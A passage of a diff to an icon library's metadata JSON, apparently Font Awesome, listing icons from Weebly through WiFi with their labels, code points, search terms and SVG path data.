1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.17 201.67C516.69 287.53 471.23 369.59 389 409.8c13 34.1-12.4 70.2-48.32 70.2a51.68 51.68 0 0 1-51.57-49c-6.44.19-64.2 0-76.33-.64A51.69 51.69 0 0 1 159 479.92c-33.86-1.36-57.95-34.84-47-67.92-37.21-13.11-72.54-34.87-99.62-70.8-13-17.28-.48-41.8 20.84-41.8 46.31 0 32.22-54.17 43.15-110.26C94.8 95.2 193.12 32 288.09 32c102.48 0 197.15 70.67 214.08 169.67zM373.51 388.28c42-19.18 81.33-56.71 96.29-102.14 40.48-123.09-64.15-228-181.71-228-83.45 0-170.32 55.42-186.07 136-9.53 48.91 5 131.35-68.75 131.35C58.21 358.6 91.6 378.11 127 389.54c24.66-21.8 63.87-15.47 79.83 14.34 14.22 1 79.19 1.18 87.9.82a51.69 51.69 0 0 1 78.78-16.42zM205.12 187.13c0-34.74 50.84-34.75 50.84 0s-50.84 34.74-50.84 0zm116.57 0c0-34.74 50.86-34.75 50.86 0s-50.86 34.75-50.86 0zm-122.61 70.69c-3.44-16.94 22.18-22.18 25.62-5.21l.06.28c4.14 21.42 29.85 44 64.12 43.07 35.68-.94 59.25-22.21 64.11-42.77 4.46-16.05 28.6-10.36 25.47 6-5.23 22.18-31.21 62-91.46 62.9-42.55 0-80.88-27.84-87.9-64.25z" + } + }, + "free": [ + "brands" + ] + }, + "weebly": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f5cc", + "label": "Weebly", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M425.09 65.83c-39.88 0-73.28 25.73-83.66 64.33-18.16-58.06-65.5-64.33-84.95-64.33-19.78 0-66.8 6.28-85.28 64.33-10.38-38.6-43.45-64.33-83.66-64.33C38.59 65.83 0 99.72 0 143.03c0 28.96 4.18 33.27 77.17 233.48 22.37 60.57 67.77 69.35 92.74 69.35 39.23 0 70.04-19.46 85.93-53.98 15.89 34.83 46.69 54.29 85.93 54.29 24.97 0 70.36-9.1 92.74-69.67 76.55-208.65 77.5-205.58 77.5-227.2.63-48.32-36.01-83.47-86.92-83.47zm26.34 114.81l-65.57 176.44c-7.92 21.49-21.22 37.22-46.24 37.22-23.44 0-37.38-12.41-44.03-33.9l-39.28-117.42h-.95L216.08 360.4c-6.96 21.5-20.9 33.6-44.02 33.6-25.02 0-38.33-15.74-46.24-37.22L60.88 181.55c-5.38-14.83-7.92-23.91-7.92-34.5 0-16.34 15.84-29.36 38.33-29.36 18.69 0 31.99 11.8 36.11 29.05l44.03 139.82h.95l44.66-136.79c6.02-19.67 16.47-32.08 38.96-32.08s32.94 12.11 38.96 32.08l44.66 136.79h.95l44.03-139.82c4.12-17.25 17.42-29.05 36.11-29.05 22.17 0 38.33 13.32 38.33 35.71-.32 7.87-4.12 16.04-7.61 27.24z" + } + }, + "free": [ + "brands" + ] + }, + "weibo": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f18a", + "label": "Weibo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M407 177.6c7.6-24-13.4-46.8-37.4-41.7-22 4.8-28.8-28.1-7.1-32.8 50.1-10.9 92.3 37.1 76.5 84.8-6.8 21.2-38.8 10.8-32-10.3zM214.8 446.7C108.5 446.7 0 395.3 0 310.4c0-44.3 28-95.4 76.3-143.7C176 67 279.5 65.8 249.9 161c-4 13.1 12.3 5.7 12.3 6 79.5-33.6 140.5-16.8 114 51.4-3.7 9.4 1.1 10.9 8.3 13.1 135.7 42.3 34.8 215.2-169.7 215.2zm143.7-146.3c-5.4-55.7-78.5-94-163.4-85.7-84.8 8.6-148.8 60.3-143.4 116s78.5 94 163.4 85.7c84.8-8.6 148.8-60.3 143.4-116zM347.9 35.1c-25.9 5.6-16.8 43.7 8.3 38.3 72.3-15.2 134.8 52.8 111.7 124-7.4 24.2 29.1 37 37.4 12 31.9-99.8-55.1-195.9-157.4-174.3zm-78.5 311c-17.1 38.8-66.8 60-109.1 46.3-40.8-13.1-58-53.4-40.3-89.7 17.7-35.4 63.1-55.4 103.4-45.1 42 10.8 63.1 50.2 46 88.5zm-86.3-30c-12.9-5.4-30 .3-38 12.9-8.3 12.9-4.3 28 8.6 34 13.1 6 30.8.3 39.1-12.9 8-13.1 3.7-28.3-9.7-34zm32.6-13.4c-5.1-1.7-11.4.6-14.3 5.4-2.9 5.1-1.4 10.6 3.7 12.9 5.1 2 11.7-.3 14.6-5.4 2.8-5.2 1.1-10.9-4-12.9z" + } + }, + "free": [ + "brands" + ] + }, + "weight": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "health", + "measurement", + "scale", + "weight" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f496", + "label": "Weight", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635811, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M448 64h-25.98C438.44 92.28 448 125.01 448 160c0 105.87-86.13 192-192 192S64 265.87 64 160c0-34.99 9.56-67.72 25.98-96H64C28.71 64 0 92.71 0 128v320c0 35.29 28.71 64 64 64h384c35.29 0 64-28.71 64-64V128c0-35.29-28.71-64-64-64zM256 320c88.37 0 160-71.63 160-160S344.37 0 256 0 96 71.63 96 160s71.63 160 160 160zm-.3-151.94l33.58-78.36c3.5-8.17 12.94-11.92 21.03-8.41 8.12 3.48 11.88 12.89 8.41 21l-33.67 78.55C291.73 188 296 197.45 296 208c0 22.09-17.91 40-40 40s-40-17.91-40-40c0-21.98 17.76-39.77 39.7-39.94z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M448 64h-25.98C438.44 92.28 448 125.01 448 160c0 105.87-86.13 192-192 192S64 265.87 64 160c0-34.99 9.56-67.72 25.98-96H64C28.71 64 0 92.71 0 128v320c0 35.29 28.71 64 64 64h384c35.29 0 64-28.71 64-64V128c0-35.29-28.71-64-64-64zM256 320c88.37 0 160-71.63 160-160S344.37 0 256 0 96 71.63 96 160s71.63 160 160 160zm-.3-151.94l33.58-78.36c3.5-8.17 12.94-11.92 21.03-8.41 8.12 3.48 11.88 12.89 8.41 21l-33.67 78.55C291.73 188 296 197.45 296 208c0 22.09-17.91 40-40 40s-40-17.91-40-40c0-21.98 17.76-39.77 39.7-39.94z" + } + }, + "free": [ + "solid" + ] + }, + "weight-hanging": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "anvil", + "heavy", + "measurement" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5cd", + "label": "Hanging Weight", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635811, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M510.28 445.86l-73.03-292.13c-3.8-15.19-16.44-25.72-30.87-25.72h-60.25c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96s-96 42.98-96 96c0 11.28 2.3 21.95 5.88 32h-60.25c-14.43 0-27.08 10.54-30.87 25.72L1.72 445.86C-6.61 479.17 16.38 512 48.03 512h415.95c31.64 0 54.63-32.83 46.3-66.14zM256 128c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M510.28 445.86l-73.03-292.13c-3.8-15.19-16.44-25.72-30.87-25.72h-60.25c3.57-10.05 5.88-20.72 5.88-32 0-53.02-42.98-96-96-96s-96 42.98-96 96c0 11.28 2.3 21.95 5.88 32h-60.25c-14.43 0-27.08 10.54-30.87 25.72L1.72 445.86C-6.61 479.17 16.38 512 48.03 512h415.95c31.64 0 54.63-32.83 46.3-66.14zM256 128c-17.64 0-32-14.36-32-32s14.36-32 32-32 32 14.36 32 32-14.36 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "weixin": { + "changes": [ + "4.1", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1d7", + "label": "Weixin (WeChat)", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M385.2 167.6c6.4 0 12.6.3 18.8 1.1C387.4 90.3 303.3 32 207.7 32 100.5 32 13 104.8 13 197.4c0 53.4 29.3 97.5 77.9 131.6l-19.3 58.6 68-34.1c24.4 4.8 43.8 9.7 68.2 9.7 6.2 0 12.1-.3 18.3-.8-4-12.9-6.2-26.6-6.2-40.8-.1-84.9 72.9-154 165.3-154zm-104.5-52.9c14.5 0 24.2 9.7 24.2 24.4 0 14.5-9.7 24.2-24.2 24.2-14.8 0-29.3-9.7-29.3-24.2.1-14.7 14.6-24.4 29.3-24.4zm-136.4 48.6c-14.5 0-29.3-9.7-29.3-24.2 0-14.8 14.8-24.4 29.3-24.4 14.8 0 24.4 9.7 24.4 24.4 0 14.6-9.6 24.2-24.4 24.2zM563 319.4c0-77.9-77.9-141.3-165.4-141.3-92.7 0-165.4 63.4-165.4 141.3S305 460.7 397.6 460.7c19.3 0 38.9-5.1 58.6-9.9l53.4 29.3-14.8-48.6C534 402.1 563 363.2 563 319.4zm-219.1-24.5c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.8 0 24.4 9.7 24.4 19.3 0 10-9.7 19.6-24.4 19.6zm107.1 0c-9.7 0-19.3-9.7-19.3-19.6 0-9.7 9.7-19.3 19.3-19.3 14.5 0 24.4 9.7 24.4 19.3.1 10-9.9 19.6-24.4 19.6z" + } + }, + "free": [ + "brands" + ] + }, + "whatsapp": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f232", + "label": "What's App", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z" + } + }, + "free": [ + "brands" + ] + }, + "whatsapp-square": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f40c", + "label": "What's App Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M224 122.8c-72.7 0-131.8 59.1-131.9 131.8 0 24.9 7 49.2 20.2 70.1l3.1 5-13.3 48.6 49.9-13.1 4.8 2.9c20.2 12 43.4 18.4 67.1 18.4h.1c72.6 0 133.3-59.1 133.3-131.8 0-35.2-15.2-68.3-40.1-93.2-25-25-58-38.7-93.2-38.7zm77.5 188.4c-3.3 9.3-19.1 17.7-26.7 18.8-12.6 1.9-22.4.9-47.5-9.9-39.7-17.2-65.7-57.2-67.7-59.8-2-2.6-16.2-21.5-16.2-41s10.2-29.1 13.9-33.1c3.6-4 7.9-5 10.6-5 2.6 0 5.3 0 7.6.1 2.4.1 5.7-.9 8.9 6.8 3.3 7.9 11.2 27.4 12.2 29.4s1.7 4.3.3 6.9c-7.6 15.2-15.7 14.6-11.6 21.6 15.3 26.3 30.6 35.4 53.9 47.1 4 2 6.3 1.7 8.6-1 2.3-2.6 9.9-11.6 12.5-15.5 2.6-4 5.3-3.3 8.9-2 3.6 1.3 23.1 10.9 27.1 12.9s6.6 3 7.6 4.6c.9 1.9.9 9.9-2.4 19.1zM400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM223.9 413.2c-26.6 0-52.7-6.7-75.8-19.3L64 416l22.5-82.2c-13.9-24-21.2-51.3-21.2-79.3C65.4 167.1 136.5 96 223.9 96c42.4 0 82.2 16.5 112.2 46.5 29.9 30 47.9 69.8 47.9 112.2 0 87.4-72.7 158.5-160.1 158.5z" + } + }, + "free": [ + "brands" + ] + }, + "wheelchair": { + "changes": [ + "4", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "accessible", + "handicap", + "person" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f193", + "label": "Wheelchair", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635812, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M496.101 385.669l14.227 28.663c3.929 7.915.697 17.516-7.218 21.445l-65.465 32.886c-16.049 7.967-35.556 1.194-43.189-15.055L331.679 320H192c-15.925 0-29.426-11.71-31.679-27.475C126.433 55.308 128.38 70.044 128 64c0-36.358 30.318-65.635 67.052-63.929 33.271 1.545 60.048 28.905 60.925 62.201.868 32.933-23.152 60.423-54.608 65.039l4.67 32.69H336c8.837 0 16 7.163 16 16v32c0 8.837-7.163 16-16 16H215.182l4.572 32H352a32 32 0 0 1 28.962 18.392L438.477 396.8l36.178-18.349c7.915-3.929 17.517-.697 21.446 7.218zM311.358 352h-24.506c-7.788 54.204-54.528 96-110.852 96-61.757 0-112-50.243-112-112 0-41.505 22.694-77.809 56.324-97.156-3.712-25.965-6.844-47.86-9.488-66.333C45.956 198.464 0 261.963 0 336c0 97.047 78.953 176 176 176 71.87 0 133.806-43.308 161.11-105.192L311.358 352z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M496.101 385.669l14.227 28.663c3.929 7.915.697 17.516-7.218 21.445l-65.465 32.886c-16.049 7.967-35.556 1.194-43.189-15.055L331.679 320H192c-15.925 0-29.426-11.71-31.679-27.475C126.433 55.308 128.38 70.044 128 64c0-36.358 30.318-65.635 67.052-63.929 33.271 1.545 60.048 28.905 60.925 62.201.868 32.933-23.152 60.423-54.608 65.039l4.67 32.69H336c8.837 0 16 7.163 16 16v32c0 8.837-7.163 16-16 16H215.182l4.572 32H352a32 32 0 0 1 28.962 18.392L438.477 396.8l36.178-18.349c7.915-3.929 17.517-.697 21.446 7.218zM311.358 352h-24.506c-7.788 54.204-54.528 96-110.852 96-61.757 0-112-50.243-112-112 0-41.505 22.694-77.809 56.324-97.156-3.712-25.965-6.844-47.86-9.488-66.333C45.956 198.464 0 261.963 0 336c0 97.047 78.953 176 176 176 71.87 0 133.806-43.308 161.11-105.192L311.358 352z" + } + }, + "free": [ + "solid" + ] + }, + "whmcs": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f40d", + "label": "WHMCS", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 161v-21.3l-28.5-8.8-2.2-10.4 20.1-20.7L427 80.4l-29 7.5-7.2-7.5 7.5-28.2-19.1-11.6-21.3 21-10.7-3.2-7-26.4h-22.6l-6.2 26.4-12.1 3.2-19.7-21-19.4 11 8.1 27.7-8.1 8.4-28.5-7.5-11 19.1 20.7 21-2.9 10.4-28.5 7.8-.3 21.7 28.8 7.5 2.4 12.1-20.1 19.9 10.4 18.5 29.6-7.5 7.2 8.6-8.1 26.9 19.9 11.6 19.4-20.4 11.6 2.9 6.7 28.5 22.6.3 6.7-28.8 11.6-3.5 20.7 21.6 20.4-12.1-8.8-28 7.8-8.1 28.8 8.8 10.3-20.1-20.9-18.8 2.2-12.1 29.1-7zm-119.2 45.2c-31.3 0-56.8-25.4-56.8-56.8s25.4-56.8 56.8-56.8 56.8 25.4 56.8 56.8c0 31.5-25.4 56.8-56.8 56.8zm72.3 16.4l46.9 14.5V277l-55.1 13.4-4.1 22.7 38.9 35.3-19.2 37.9-54-16.7-14.6 15.2 16.7 52.5-38.3 22.7-38.9-40.5-21.7 6.6-12.6 54-42.4-.5-12.6-53.6-21.7-5.6-36.4 38.4-37.4-21.7 15.2-50.5-13.7-16.1-55.5 14.1-19.7-34.8 37.9-37.4-4.8-22.8-54-14.1.5-40.9L54 219.9l5.7-19.7-38.9-39.4L41.5 125l53.6 14.1 15.2-15.7-15.2-52 36.4-20.7 36.8 39.4L191 84l11.6-52H245l11.6 45.9L234 72l-6.3-1.7-3.3 5.7-11 19.1-3.3 5.6 4.6 4.6 17.2 17.4-.3 1-23.8 6.5-6.2 1.7-.1 6.4-.2 12.9C153.8 161.6 118 204 118 254.7c0 58.3 47.3 105.7 105.7 105.7 50.5 0 92.7-35.4 103.2-82.8l13.2.2 6.9.1 1.6-6.7 5.6-24 1.9-.6 17.1 17.8 4.7 4.9 5.8-3.4 20.4-12.1 5.8-3.5-2-6.5-6.8-21.2z" + } + }, + "free": [ + "brands" + ] + }, + "wifi": { + "changes": [ + "4.2", + "5.0.0", + "5.3.0", + "5.10.1", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "connection", + "hotspot", + "internet", + "network", + "wireless" + ] + }, 